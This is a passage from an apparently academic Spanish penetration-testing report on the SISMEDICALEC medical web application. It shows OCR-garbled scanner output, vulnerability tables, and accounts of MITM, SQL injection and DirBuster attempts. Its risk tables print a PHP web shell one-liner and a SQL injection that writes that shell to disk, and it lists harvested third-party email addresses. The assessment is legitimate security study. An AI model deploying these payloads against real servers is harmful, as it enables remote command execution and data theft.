J Realiza un seguimiento de huella digital al servidor.

Vulnerabilidades detectadas al momento de analizar

Vulnerabilidad Check Directory: - Consulta de directorios .
Esta herramienta permite rastrear los directorios ubicados en el destino clickeando
la opcion Check Directory desde la interfaz de Uniscan.
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Directory check:

CODE: 200 URL: http://www sismedicalec com/action’
CODE: 200 URL: http://www.sismedicalec.com/ajax/
CODE: 200 URL: http://www sismedicalec com/css/
CODE: 200 UEL: http://www sismedicalec_com/doc/
CODE: 200 URL: http://www sismedicalec com/font/
CODE: 200 URL: http:/www.sismedicalec.com/fotos/
CODE: 200 URL: http://www sismedicalec com/icons/
CODE: 200 UEL: http:/www sismedicalec_ com/images/
CODE: 200 URL: http://www sismedicalec.com/js/
CODE: 200 URL: http://www.sismedicalec.com/lib/
CODE: 200 URL: http://www sismedicalec_com/makefont/
CODE: 200 UEL: http://www sismedicalec_com/phpmyadmin/

Figura 4.38: Muestra la, opcion de andlisis de la prueba Directory Check

En la presente figura 4.38: Indica la opcidn Directory Check o Verificacion de
directorios, que el escaner Uniscan descubrio con algunos directorios que podrian
ser de interés para los atacantes, incluyendo lo que parece ser documentacion e
informacion de configuracion del sistema web escrito en PHP .
Vulnerabilidad, File Check:

El test indicado también permite habilitar las verificaciones de archivos con la
opcion File Check.

File check:

CODE: 200 UEL: http://www sismedicalec com/config php
CODE: 200 URL: http://www sismedicalec.com/css
CODE: 200 URL: http:/www.sismedicalec.com/error_log
CODE: 200 URL: http://www sismedicalec_com/index php
CODE: 200 UEL: http://www sismedicalec_ com/{s

CODE: 200 URL: http://www sismedicalec com/login php

Figura 4.39: Resultado de la prueba con la presente herramienta, opcién Files
Check

Segun la figura 4.39: Muestra el resultado de File Check o chequeo de archivos,
donde se puede observar que en el analisis se encontrd algunos archivos que
podrian proporcionar informacion valiosa al atacante acerca del aplicativo web, lo
cual se convierte en un fallo de seguridad, que podria poner en evidencia
informacion confidencial del sistema web.

Vulnerabilidad, Web Backdoors, E-mails y Php info () Disclosure:
Uniscan cargara algunos complementos para realizar verificaciones dinamicas en
el destino, incluida la identificacion del correo electronico, la deteccidn de puerta
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trasera y el descubrimiento de SQL y otros tipos de puntos de inyeccién. Para ello
se debe seleccionar la opcién Dynamic Test. Esto puede demorar bastante tiempo
en ejecutarse y mostrar los resultados.

Web Backdoors:

Ignored Files:

Jwww.sismedicalec com/css/datatables net-buttons-bs/Readme md
“warw sismedicalec com/js/Chart 3s/docs/04-Bar-Chart md

Jiwww sismedicalec com/js/datatables net-keytable/Readme md
Jiwww sismedicalec com/s/Chart js/docs/06-Polar-Area-Chart md
Jwww.sismedicalec com/js/Chart 1s/LICENSE md

Jiwwrw sismedicalec com/ys/Chart js/docs/10-Notes.md

Jiwww sismedicalec com/s/datatables net/Readme md
Jiwanw.sismedicalec com/css/datatables net-fixedheader-bs/Readme md
Jiwwrw sismedicalec com/css/bootstrap/ CHANGELOG md

waww sismedicalec com/js/datatables net-scroller/Readme md

Jiwww sismedicalec com/js/Chart js/docs/08-Bubble-Chart md

Jiwww sismedicalec com/s/Chart js/docs/00-Getting-Started md
Jfwww.sismedicalec com/css/bootstrap-progressbar/ CHANGELOG .md
Jiwwrw sismedicalec com/js/datatables net-buttons/Feadme md

e sismedicalec com/js/Chart js/docs/09-Advanced md
Jiwaw.sismedicalec com/js/Chart js/docs/03-Line-Chart. md
Jiwwnwsismedicalec com/s/Chart js/docs/07-Pie-Doughnut-Chart md
Jwww sismedicalec com/js/Chart ys/docs/05-Radar-Chart md
Jiwwwsismedicalec com/js/datatables net-fixedheader/ Readme md
Jiwwwsismedicalec coms/moment/ CHANGELOG.md
Jwww.sismedicalec com/js/Chart 1s/CONTRIBUTING md
Jwww.sismedicalec com/css/datatables net-bs/Readme md

e sismedicalec com/ys/Chart js/does/01-Chart-Configuration md
Jiwww.sismedicalec com/css/datatables net-responsive-bs/Readme md
Jiwaw.sismedicalec com/css/datatables net-scroller-bs/Readme md
Jfwww sismedicalec com/js/datatables net-responsive/Readme md
Jiwww sismedicalec com/s/Chart js/docs/02-5cales md
Jiwwwsismedicalec com/css/bootstrap-progressbar/CONTRIBUTORS .md

Figura 4.40: Interfaz sobre Web Backdoors, opcion seleccionada Dynamic Tests.

Como se muestra figura 4.40: Muestra las Web Backdoors encontradas por
Uniscan, una puerta trasera o backdoor es una vulnerabilidad que permite entrar
en un servidor, pagina web, red local o empresarial sin ser detectado y con ciertos
privilegios (0 no, depende) para poder hacer casi lo que quieras. La inmensa
mayoria de las puertas traseras son errores genuinos, es decir, o bien se generan
por un error del usuario o del programador, o de los administradores de red. Esto
es peligroso porque el usuario desconoce que existe esa puerta abierta sin ninguna
proteccion adecuada.

El escaner detecto mas de 300 correos electronicos guardados en el sitio

web.
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E-mails:

E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:

E-mail Found

E-mail Found

E-mail Found
E-mail Found

lain@univ-reunion. fr
jduncki@gmail com
git@riichard.com
ksieburg@yahoo.com
john@johnkpaul com
kyle@dontkry.com
marcel. greter@ocbnet.ch
rdworth/@gmail com
hello@nickdownie com
liza h ramo(@gmail com
grey(@2x.png

dave methvin@gmail com
aurelioderosa/@gmail com
github.com(@zetafleet.com
anton@kovalyov.net

: danheberden@gmail com
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:

thomastortorini@gmail com
bullredeyes@gmail com
mattmuelle@gmail com
naufi@gmail com

kris borchers@gmail com
guvbedford@gmail.com
davidserduke@gmail com

: private face@gmail com
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:
E-mail Found:

klsforever@gmail.com
mike sherov@gmail com
github@jbedard.ca
ruadel987@gmail com
rod@vagg.org
dgalvez@editablething com
davidcorbacho(@gmail com

: giladp007 @ gmail com
: andrew(@wg.10

Figura 4.41: Interfaz que indica como son publicados los E-mails de la pagina
Web, un fallo de seguridad.

En esta figura 4.41: se puede comprobar que existe una lista de direcciones de
correos electronicos, esta informacion puede ser utilizado por un hacker para hacer
conjeturas de posibles formatos de E-mails internos que, utilizada la empresa,
también se puede saber los posibles nombres de usuarios. Hay que asegurar que
los correos electronicos que estan publicados no ofrecen ninguna informacion que
pueda ser utilizado por un hacker, ya que es un evidente fallo de seguridad.
External hosts:

Un host de entrada externa es una ubicacion fuera del servidor de contrasefias que
almacena informacion de contrasefias. Una vez que se configura un Host de
Entrada Externa en el Servidor de Contrasefia, el Servidor de Contrasefia puede
conectarse a él para importar y actualizar informacion. Para algunas aplicaciones,
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la 16gica empresarial personalizada puede necesitar conectarse a un host externo.
En este caso, el nombre de host debe estar registrado en la configuracion de
backend y esta sujeto a un proceso de aprobacion.

External hosts:

http://www fpdf org
http://server

https://icf improvely.com
https://en wikipedia org
http://github.com
http://www.ozerov.de
http://bugs myvsql.com
http://warw acko net
https://wwrw. google com
http://www.dangrossman info
https://oss maxcdn. com
https://gist_github com
http://travis-ci.org
http://sf.net

http://host

https://maxcdn bootstrapcdn com
http://www tepdf org
http://www.incomsis.com
https://saucelabs com
http://www google com
http://www.awio.com
https://tools.1etf org
https://demo phpmyadmin net
https://www wicounter.com
http://wiki phpmyvadmin net
https://github.com
http://bugs php net
https://disqus com
http://www.gnu.org
http://manadb.org

http://en wikipedia org
http://pecl php net
http://httpd apache. org
http://www.mvysql.com

Figura 4.42: Primera parte de la lista de Host de entrada externa

Segun la figura 4.42: Indica las la primera parte de las Url encontradas en la

opcidn “External Host” o Host Externos, presentada por el escaner Uniscan.
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https://www phpmyadmin net
http://www.drizzle org
http://sphinx-doc. org
http://dev.mysql.com
http://bugzilla mozilla. org
https://launchpad net
http://ghbtns. com
http://software opensuse.org
https://sourceforge net
https://www improvely.com
http://www wikipedia org
https://wiki phpmyadmin net
https://hosted weblate org
http://www apachefriends org
http://pear. php net
https://code jquery.com
http://netdna bootstrapcdn com
http://cdnjs cloudflare com
http://php net

http://www hardened-php. net
http://www php net
http://fedoraproject.org

Figura 4.43: Segunda parte de la lista de Host de entrada externa

Como se muestra en la figura 4.43: Indica las la segunda parte de las Url
encontradas en la opcion “External Host” presentada por el escaner Uniscan.
Descripcién:

El archivo host externo enumera las maquinas remotas conectadas directamente al
MSS (Tamafio Maximo de Segmento) para las cuales no se usa DNS. Para ver la
lista de hosts externos actualmente definidos en el sistema, vaya a la péagina
Administrar hosts externos , que enumera la direccion IP, el nombre de host y el
alias (si esta definido) de cada maquina remota directamente conectada al MSS.
Revelacién de informaciéon, Php info ()

PHPinfo() Disclosure:

Source Code Disclosure:

Source Code Found: http://vwww.sismedicalec.com/phpmyadmin/doc/html’ sources/faq.txt
Source Code Found: http://www sismedicalec. com/js/pdfmake/build/pdfmake min js map
Source Code Found: http://www sismedicalec. com/js/morris js/spec/viz/run sh

Source Code Found: http://vwww.sismedicalec.com/phpmyadmin/doc/html’ sources/setup.txt

Figura 4.44: Revelacion de informacién mediante Php info (), opcién Dynamic
Tests.

Segun la figura 4.44: Muestra la alerta Phpinfo(), y la parte de Revelacion de
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codigo fuente con sus respectivas URL, del sistema web analizado.

Descripcion

Php info () es una funcionalidad de depuracion que imprime informacion detallada
tanto del sistema como de la configuracion de PHP.

Al encontrar un fallo en la seguridad, como es Php info (), un atacante puede
obtener informacién como, por ejemplo:

= Version exacta de PHP.

Nombre del sistema operativo en uso y su version.

Detalles de la configuracion de PHP.

Direcciones IP internas.

Variables de entorno del servidor.

Extensiones PHP cargadas y sus configuraciones.

Esta informacidn puede ayudar a un atacante a obtener mas informacion sobre el
sistema web. Después de obtener informacién detallada, el atacante puede
investigar las vulnerabilidades conocidas para ese sistema bajo revisién. El
atacante también puede usar esta informacion durante la explotacion de otras
vulnerabilidades. En esta imagen sobre Php info(), indica un archivo morris.js que
es una libreria Javascript que trabaja con jQuery y que permite de forma muy
sencilla crear gréaficas de barra. Informacion FCKeditor correos electrénicos.
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4.4. ldentificacion de las principales amenazas encontradas al
realizar el andlisis de las vulnerabilidades del sistema de gestion
meédica (SISMEDICALEC).

Listado de vulnerabilidades de alto riesgo alto

Vulnerabilidades

Riesgo

Herramienta de

analisis

Herramienta de ataque

o método

Forma de uso

Session Cookie Without

HttpOnly Flag

Alto

Vega

Envenenamiento ARP

dentro de una LAN

Robo de cookies, se debe aplicar
un ataque MITM. Consiste en
introducirse en la comunicacién
entre dos equipos para que todo el
traftco pase por nosotros y poder
asi desencriptar sus datos,
contrasefias, etc. Para este tipo de
ataques se necesitan dos maquinas
victima, que bien podria ser el
servidor y un equipo de una red
empresarial, o bien el router y el
equipo de nuestra victima real,

ademas de nuestro propio equipo.

Session Cookie Without

Secure Flag

Alto

Vega

Envenenamiento ARP

dentro de una LAN

Robo de cookies aplicando el
ataque MITM que consiste en
introducirse en la comunicacioén
entre dos equipos para que todo el
traftco pase por nosotros y poder
asi desencriptar sus datos,
contrasefias, etc. Para este tipo de
ataques se necesitan dos maquinas
victima, que bien podria ser el
servidor y un equipo de una red
empresarial, o bien el router y el
equipo de nuestra victima real,

ademas de nuestro propio equipo.

Tabla 4.3: Vulnerabilidades de riesgo alto analizado con Vega Scan

Listado de vulnerabilidades de alto riesgo medio.
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Vulnerabilidades Riesgo Herramienta de Herramienta de ataque Forma de uso

analisis o método

Client Ciphersuite Medio Vega Inyeccién de cddigo Ataque Poodle, para este ataque,

Preference malicioso se supone que el atacante puede
hacer peticiones desde el
navegador al servidor, pero debe
estar conectado en la misma red de
la victima, por ejemplo con un
coédigo en Javascript. De la
siguiente forma GET ruta Cookie:
22?2 \r\n\r\n cuerpo de la

peticion MAC padding.

HTTP Trace Support Medio Vega Inyeccién de cédigo Ataque XSS, Un atacante puede
Detected malicioso usar la vulnerabilidad de los
scripts entre sitios para que el
navegador del usuario de destino
emita una solicitud TRACE al
servidor a través de
XMLHttpRequest (o una funcién
similar) y luego recupere la cookie
de la respuesta, que contendra la
solicitud que fue enviada por

navegador, incluidas las cookies.

Local Filesystem Paths Medio Vega Inyeccion de cédigo Si permite modiftcar los

parametros de lo que se incluye:
Found malicioso GET pasa los datos por URL, por

lo que en la barra

de direcciones URL se veria algo asi:
http://localhost/index.php?pagina=
78se3.php, donde se incluye el
archivo 78se3.ph. La manipulacién
de este archivo puede modiftcar lo
que se incluye mostrar, por

ejemplo, el ftchero de contrasefias

de Linux /etc/hosts.

Tabla 4.4: Vulnerabilidades de riesgo medio analizado con Vega Scan

Segunda parte de el listado de vulnerabilidades con riesgo medio.
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Vulnerabilidades

Riesgo

Herramienta de

analisis

Herramienta de ataque

o método

Forma de uso

Possible Source Code

Disclosure

Medio

Vega

Inyeccién SQL, Metasploit

Crear un shell web que debe
colocarse en una parte no
restringida del sistema de archivos
del servidor, que es facil de
acceder. Puede usar el siguiente
shell web PHP simple que le
permite ejecutar un comando del
sistema pasandolo a través de un
pardmetro GET (por ejemplo
?cmd=whoami): <?phpe-
cho(system($_GET["cmd"])); ?>
Ejecutar la siguiente sentencia:
SELECT * FROM stats WHERE
ftlename =~ UNION SELECT
’<?php system($_GET["cmd"]);
?>°,>,” INTO OUTFILE

’/tmp/cmd.php’;#

Encabezado
X-Frame-Options no

establecido

Medio

Owasp Zap

Inyeccién de cédigo

malicioso

Ataque XSS, Un atacante puede
usar la vulnerabilidad de los
scripts entre sitios para que el
navegador del usuario de destino
emita una solicitud TRACE al
servidor a través de
XMLHttpRequest (o una funcién
similar) y luego recupere la cookie
de la respuesta, que contendra la
solicitud que fue enviada por

navegador, incluidas las cookies.

Exploracién de Directorios

Medio

Owasp Zap

DirBuster

Se puede realizar un ataque de
fuerza bruta, que deja a los
directorios y archivos ocultos, sin
nada que ocultar. Si seleccionamos
el diccionario de fuerza bruta que
viene por defecto, veremos como
tal vez encontramos ciertos
directorios interesantes. Se coloca
la URL, con el puerto 80 y clic en

start.

Shell webs

Medio

Uniscan

Remot3d

Herramienta creada para generar
una puerta trasera para controlar y
explotar un servidor donde el
servidor ejecuta el programa en

PHP.

Tabla 4.5: Vulnerabilidades de riesgo medio analizado con Vega Scan, Owasp Zap

y Uniscan
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Listado de vulnerabilidades de alto riesgo bajo

web XSS no disponible

malicioso

Vulnerabilidades Riesgo Herramienta de Herramienta de ataque Forma de uso
analisis o método
Password Field with Bajo Vega Inyeccién de cédigo Las credenciales almacenadas
Autocomplete Enabled malicioso pueden ser capturadas por un
atacante que obtiene el control
sobre la computadora del usuario.
Ademas, un atacante que
encuentra una vulnerabilidad de
aplicacion separada, como los
scripts entre sitios, puede explotar
esto para recuperar las
credenciales almacenadas en el
navegador de un usuario.
Inclusién de archivos de Bajo Owasp Zap Inyeccion de cédigo Se aplica un ataque MITM,
origen JavaScript malicioso Hombre en el medio. Dicho ataque
Cross-Domain permite a una tercera persona
inyectar en paginas web visitadas
por el usuario, cédigo JavaScript
en una URL del sitio web de forma
camuflada, desde una misma LAN.
No Cache-control y Bajo Owasp Zap Falla en la conftguracion No se encontré forma de llevar a
sistema de encabezado en el entorno web. cabo un ataque informatico.
HTTP Pragma
No se encuentra Owasp Zap Inyeccion de cédigo Respuestas json puede ser
explotado mediante la invalidacién
encabezado malicioso de la Matriz de constructores o si
hostiles de los valores de cadena de
X-Content-Type-Options javascript-se escapé. preftjo de
todos json con algo como:throw 1;
Header < don’t be evil” > <script
src="http://yourbank.com/account
Status.json">
Proteccion de buscador de Bajo Owasp Zap Inyeccion de cédigo Para la inyeccion, solo debe

remplazar el valor del texto que se
mostrard con una secuencia de
comandos de modo que aparezca en
la pagina web. Siempre y cuando el
navegador del usuario esté
conftgurado para ejecutar dichas
secuencias de comandos, el cédigo
malicioso tendra acceso a todos los
datos compartidos por la pagina
web y el servidor del usuario

(cookies, campos de entrada, etc).

Tabla 4.6: Vulnerabilidades de riesgo bajo analizado con Vega Scan

Como se observa los tablas 4.3, 4.4y 4.5y 4.6 se enlistan las vulnerabilidades
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web detectadas en el aplicativo mencionado, mediante tres escaneres diferentes
como son VEGA, OWASP y UNISCAN, cada una de estas herramientas arrojo
un numero determinado posibles debilidades detectadas en el sistema, cada una de
ellas con su respectiva descripcion, posible solucion y el nivel de riesgo e impacto
que tendria en el sistema web en el caso que personas ajenas a la empresa
INCOMSIS, realicen ataques de explotacion de las mismas.

Al usar las 3 herramientas usadas se repetian las vulnerabilidades informaticas que
muchas veces solo cambiaba algo en el nombre pero en si eran las mismas. Se
realiz6 una busqueda extensa en diferentes sitios especializados en seguridad y la
en la mayoria de casos se reporta como forma de ataque el uso de inyeccion de
codigo malicioso. Debido al nivel de acceso a la informacion estas son las 14
vulnerabilidades en total.

4.5. Explotacion de las principales vulnerabilidades de Sistema de
Gestion Médica

4.5.1. Vulnerabilidad detectada denominada “Session Cookie
Without HttpOnly Flag”, ataque a realizar para su
explotacion Man in the Middle (Hombre en el medio)

Un ataque “Hombre en el Medio”, representa en la actualidad una seria amenaza
para la seguridad de la informacion en redes de comunicacién, estos constituyen
uno de los ataques sofisticados a sistemas de telecomunicaciones. Ocurren cuando
un usuario agresor se inserta en la comunicacion entre dos entidades y esta es
controlada sin que ninguna de ellas conozca que el enlace ha sido violado. Al ser
implementado y alcanzar su objetivo permite la realizacién de ataques en tiempo
real como escuchas en el medio, las que tienen como propdsito capturar paquetes
transmitidos en una red, y leer el contenido de datos en busca de cualquier tipo de
informacion, y secuestro de sesion. Durante dicho proceso el atacante puede
modificar los paquetes, gestionar e incluso silenciosamente disminuir el tamafio
de los mismos [28].
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Figura 4.45: Ataque “Hombre en el medio”, MITM

Ataques MITM en redes LAN

Una red de area local (LAN) permite a usuarios comunicarse con otros host de la
misma red. Esta definida por dos 0 méas dispositivos tales como estaciones  de
trabajo, impresoras o servidores. Estos dispositivos estan vinculados con el
propdsito de compartir informacion, recursos o ambos [29].

Un ataqgue MITM en dicha infraestructura puede ejecutarse implementando
ataques como los gue se exponen a continuacion.

Ataque Envenenamiento ARP

El protocolo ARP (Address Resolution Protocol) es el encargado de traducir
direcciones IP a direcciones MAC (Media Access Control), cuando un host desea
comunicarse con una IP emite una trama ARP—Request a la direccion de
Broadcast solicitando la MAC del host destino, primando la IP. El ordenador con
la IP solicitada responde con un ARP—Reply indicando su MAC. Los switchs y los
host guardan una tabla local con la relacion IP-MAC llamada “tabla ARP”. Esta es
sensible a cambios y se actualiza con frecuencia; dicha tabla puede ser modificada
por un ordenador que emita tramas ARP—Reply indicando su MAC como destino
valido para una IP especifica. Ademas no existen mecanismos para verificar si el
par de direcciones IP y MAC obtenidas son las correctas [29].

El ataque ARP Spoofing (figura 1.4) hace referencia a la construccion de tramas
de solicitud y respuesta ARP modificadas, asociando la direccion MAC del
atacante con la direccion IP de otro nodo (el nodo atacado), como por ejemplo la
puerta de enlace predeterminada (Gateway). Cualquier trafico dirigido a la
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direccion IP de ese nodo serd enviado al atacante en lugar de su destino real, el
agresor en este instante puede elegir entre reenviar el trafico a la puerta de
enlace predeterminada real (ataque pasivo o escucha), o modificar los datos antes
de reenviarlos (ataque activo),este puede ser ejecutado desde una maquina
controlada (el atacante ha conseguido previamente hacerse con el control de la
misma), o bien la maquina del atacante esta conectada directamente a la LAN
Ethernet [30].

Usuario A Usuario B

El usuario A utiliza Ssts
({MAC del atacante)
direccion MAC i

Voo

Lusuario B utiliza ésta
‘ecadon MAC
gel atacante)

Broadcasting
spoofed MAC
address

Intercepta el
traftico entre
fos usuarios
Ay B

Figura 4.46: Ataque “Hombre en el Medio” variante envenenamiento ARP

Para realizar un ataque hombre en el medio en este caso se utiliz6 una herramienta
sniffer muy popular como es sslstrip.

En el anexo C, se puede observar paso a paso como se hizo para realizar el ataque
informatico y conseguir los resultados esperados.

nterfaz: 192.168.0.182 —— BAx3

Direccidn de Internet Direccidn fisica
1922.168.8.1 6bBA-36—dd—4?-3a-592 dindmico
1922168 .8.181 A —BA—-27-1f-57-7f dindmico
192, .A.189 6bA-36—dd—4?-3a-592 dindmico

192. -A.255 ff—ff—ffFf—Ff-FF estatico
224.8.8.2 a1 -88-5e—-AA—-AA—A2 estatico
224.8.8.22 A1 -A8-5e—AA—-AA-16 estatico
224.8.8.252 A1 -08-5e—AA-AA—fc estatico
239. .255.258 A1-88-5e—"f—ff—fa estatico
255. .255.255 ff—ff—ff—fFf—Ff-FF estatico

Figura 4.47: Tabla ARP, desde una maquina con Windows

La figura 4.47 muestra la informacion de las ip y la duplicacion de las direcciones
MAC, en laip 192.168.0.1 y la ip 192.168.0.109, con lo que se puede comprobar
que existe un “hombre en el medio”, el que esta escuchando el trafico de su
victima.
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G Google X | # LOGIN|SISMEDICAL X |+

&« G @ @ & www.sismedicalec.com

Ingresa tus datos
c—

(AL L L)

™
\/ I'm not a robot

1eCAPTCHA
Frivay - Terme

Inlciar sesién

Figura 4.48: Ingreso de credenciales del sistema web desde el navegador del
atacante

Como se observa en la figura 4.48, desde un navegador google Chrome el atacante
ingresa las credenciales de logueo para ingresar a la aplicacion web deseada.

La ejecucion de la “Escucha de trafico SSL por medio de ataque mitm”, se realizé
con éxito y dicho ataque se puede encontrar en una forma mas detallada en el
Anexo C.

4.5.2. Vulnerabilidad detectada denominada “Possible Source Code
Disclosure” y la explotacion se realizara mediante Ataques de
Inyeccién de Codigo SQL

“Structured Query Language” (Lenguaje de Consulta Estructurado), es un len-
guaje textual utilizado para interactuar con bases de datos relacionales. La unidad
tipica de ejecucion de SQL es la consulta (“query”), conjunto de instrucciones que
permiten modificar la estructura de la base de datos (mediante instrucciones del
tipo “Data Definition Language”, DDL) o manipular el contenido de la base de
datos (mediante instrucciones del tipo “Data Manipulation Language”, MDL). En
los servidores Web se utiliza este lenguaje para acceder a bases de datos y ofrecer
paginas dinamicas o nuevas funcionalidades a sus usuarios.

El ataque por inyeccion de cadigo SQL se produce cuando no se filtra de forma
adecuada la informacion enviada por el usuario. Un usuario malicioso podria
incluir y ejecutar textos que representen nuevas sentencias SQL que el servidor no
deberia aceptar. Este tipo de ataque es independiente del sistema de bases de
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datos subyacente, ya que depende Unicamente de una inadecuada validacion de los
datos de entrada. Como consecuencia de estos ataques Yy, dependiendo de los
privilegios del usuario de base de datos bajo el cual se ejecutan las consultas, se
podria acceder no sélo a las tablas relacionadas con la operacion de la aplicacion
del servidor Web, sino también a las tablas de otras bases de datos alojadas  en
el mismo servidor Web. También pueden propiciar la ejecucion de comandos
arbitrarios del sistema operativo del equipo del servidor Web [31].

Como protegerse:

= No utilice sentencias SQL construidas dinamicamente.

= No utilice cuentas con privilegios administrativos.

= No proporcione mayor informacion de la necesaria.

= Verifique el tamafio como el tipo de datos de las entradas del usuario [32].

Segun la herramienta Vega, detecté la vulnerabilidad denominada ‘“Possible
Source Code Disclosure” con nivel de riesgo medio, y al recopilar informacion
respecto a esta, se encontré que puede ser explotada esta debilidad mediante un
ataque de inyeccion de cédigo sql, por ende se llevo a cabo las pruebas pertinentes
para verificar si es 0 no explotable esta vulnerabilidad, en el ANEXO D, sepuede
observar paso a paso como se intent6 vulnerar el sistema web mediante inyeccion
de codigo malicioso y se muestra los resultados obtenidos del mismo.

+ Planes | Medico X ek

<« (IR} (o) vww.sismedicalec.com/histc ) B 9% nooo
£ Most Visited @ Offensive Security '\, Kali Linux \, KaliDocs \, Kali Tools * Exploit-DB W Aircrack-ng "\ Kali Forums \, NetHunter \ Kali Training @ Getting Started

- — Medic

~~ RONDILLA

\ /
\ |
Medico

HISTORIA DE CONSULTAS Y Afio 2019 :] Mes Junio j
PLANES

2018-07-17 jaime n ‘
2018-07-12 Ver Historial
|

Figura 4.49: Ingreso de cédigo en una caja de texto para identificar si acepta
codigo sql

Segun la figura 4.47 Ingreso de caracteres especiales en la caja de texto de
busquedas para comprobar la posible explotacion de la vulnerabilidad mediante un
ataque de inyeccion de codigo sql.

79



+ Planes | Medico x |+

<« c @ | @ & https:/www.sismedicalec.com/histor hp?anio=2019&mes=Juni idozt+or+1'%: v [ | - @ | I\
£+ Most Visited @ Offensive Security '\ Kali Linux '\ KaliDocs '\ KaliTools  Exploit-DB W Aircrack-ng '\, Kali Forums '\ NetHunter '\ Kali Training @ Getting Started

RONDILLA

0 . =\ |/ |

HISTORIA DE CONSULTAS Y RS 2019 j Mes Junio :]
PLANES

Inicio

Consultar pian

(2 ===

A

Figura 4.50: Resultado al probar inyectar codigo sqgl en la caja de texto, para
busquedas por apellido.

Segun la figura 4.48 El aplicativo web sismedicalec.com pasO las pruebas
satisfactoriamente al ignorar el ingreso de codigo sql, con caracteres especiales,
por lo cuél se comprueba que la vulnerabilidad “Possible Source Code Disclosure”
no puede ser explotada mediante inyeccién de codigo malicioso.

4.5.3. Vulnerabilidad detectada denominada “Exploracion de
Directorios” y la explotacion se realizara con la herramienta
DirBuster

Muchas instituciones publican archivos confidenciales con informacion sensible
en la Internet, y por medio de alguna herramienta se puede vulnerar dicha
informacion, de interés personal.

La herramienta Owasp Zap detecto la siguiente vulnerabilidad, “Exploracion de
directorios”, para lo cual se investigd sobre diferentes herramientas para su
explotacion y para este caso se escogid DirBuster.

Herramienta DirBuster:

Es una herramienta que fuerza a los directorios de servidores web. para encontrar
aplicaciones ocultas o configuraciones inseguras, que proporcionar otro vector de
ataque. DirBuster es muy simple de detectar, porque usa el mismo patron URI
cada vez y genera muchas respuestas "404 Pagina no encontrada”. Debido a la
relativamente baja complejidad de la firma de DirBuster, la mayoria de los
métodos de clasificacion de aprendizaje automatico generaran resultados similares.
Nuestros resultados sugieren, las mejoras de el mecanismo de votacién de
clasificacion es muy limitado, ya que los diferentes algoritmos de clasificacion
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pueden generar similares. modelos sin embargo, nuestros experimentos mostraron que
la votacion de clasificacion es al menos tan buena como la mejor de los
algoritmos utilizados, al aprovechar las ventajas de varias clasificaciones. resultados
combinados en un modelo [33].

Explicacion del uso de DirBuster:

Para la explotacion de la vulnerabilidad “Exploracion de directorios™ detectada con
la herramienta Owasp Zap, se uso la herramienta DirBuster que se recomienda usar
segun la tabla 4.5, la misma que realizd con éxito la explotacion de dicha
vulnerabilidad como se puede observar en la figura 4.51.

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing (- ]

File Options About Help

https://192.168.0.101:443/
[@ Scan Information|Results - List View: Dirs: 132 Files: 578 'Results - Tree View ' /\ Errors: 2 ',

Testing for dirs in / |I:
Testing for files in / with extention .php I_
Testing for dirs in images/ |I
Testing for files in /images/ with extention .php I
Testing for dirs in jcgi-bin/ |I
Testing for files in jegi-bin/ with extention .php I
q F— — e i 1

Current speed: 441 requests/sec (Select and right click for more options)
Average speed: (T) 435, (C) 440 requests/sec

Parse Queue Size: 0 Current number of running threads: 10
Total Requests: 41335/23316481 | [ change]

Time To Finish: 14:41:38

@ | 00 Pause || 1 stop

Starting dir/file list based brute forcing fcss/bootstrap/fonts/stats/

Figura 4.51: Herramienta Dirbuster en su pantalla con la opcién Scan Information

La figura 4.51 muestra la pantalla con el inicio del escaner de cada uno de los
directorios que estan adjuntos al aplicativo web sismedicalec.
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+ LOGIN | SISMEDICALC X |+

c @ ® & hitps://192.168.0.101 /Lo e
¥ Most Visited S KaliLinux '\ Kali Tools & Exploit-DB '\ Kali Training @ Getting Started

Ingresa tus datos

Figura 4.52: Pantalla de un directorio listado, que muestra la interfaz de la pagina
login.php

Una demostracion de como se realizé el ataque a la debilidad de “Exploracion de
directorios”, en el ANEXO E, se puede observar paso a paso como se realizé con
éxito dicho ataque informaético. Lo cual pone en riesgo la aplicacion web en su
contenido pues sus directorios como se muestra han sido listados y expuestos
dentro de un navegador web.

Pruebas de stress

Las pruebas de carga, también conocidas en algunos casos como pruebas de stress
o test load tiene por objeto emular la conexion a un aplicativo web de determinado
nimero de usuarios con el fin de medir la reaccion de este y del sistema donde esta
instalado cuando la concurrencia alcanza niveles especificos [34].

Uno de los analisis que suelen integrar cualquier plan de QA(aseguramiento de
calidad) es la prueba de stress. Esta evaluacion pone a prueba la robustez y la
confiabilidad del software sometiéndolo a condiciones de uso extremas. Entre
estas condiciones se incluyen el envio excesivo de peticiones y la ejecucion en
condiciones de hardware limitadas. El objetivo es saturar el programa hasta un
punto de quiebre donde aparezcan bugs (defectos) potencialmente peligrosos para
el aplicativo web que se esté analizando.

Herramienta Apache Bench

Herramienta de linea de comandos disponible en los Unix y Gnu/Linux. Software
que estd disefiado para medir el rendimiento de los sitios web. Permite hacer
peticiones de forma concurrente hacer pruebas de carga a cualquier sitio web[35].
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Para la realizacion de las pruebas de stress seguin se puede observar detalladamen-
te en el Anexo F, fue necesario crear un nuevo usuario con privilegios limitados,
ya que no era recomendado hacer dichas pruebas desde un super usuario.

Para ello se ejecuto el siguiente comando.

useradd -m -d /home/test -s /bin/bash -g sudo pruebas

:~# useradd -m -d fhome/test -s /bin/bash -g sudo pruebas

Figura 4.53: Comando para crear un nuevo usuario con privilegios inferiores a
root

Lo que este comando logra:

= useradd - crea un nuevo usuario
= -m - crea el directorio de inicio

= -d/ home / test: establece el directorio de inicio del usuario en / home /
pruebas

= -5/ bin / bash - hace que el shell de bash predeterminado del usuario
(Ubuntu usa el guion de forma predeterminada)

= -g sudo - agregar usuario al grupo sudo (para ejecutar comandos con sudo)

= prueba - el nombre del nuevo usuario
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Ejecucion de comandos para la realizacion de la prueba de stress, a
modo de ejemplo, como se observa en la figura 4.52

:/root$ ab -n 1000 -c 100 https://www.sismedicalec.com/
<$Revision: 1843412 %>
y Ltd, http://www.zeustech.net/
Foundation, http://www.apache.org/

dicalec.com (be patient)

p 1000
Finished 1000 requests

5 oftware:
ostname:

SSL/TL col: TLSv1.2,ECDHE-RSA-AES256-GCM-SHA384,2048,256
Server Temp Key: X25519 253 bits
5 Se www.sismedicalec.com

Docume /
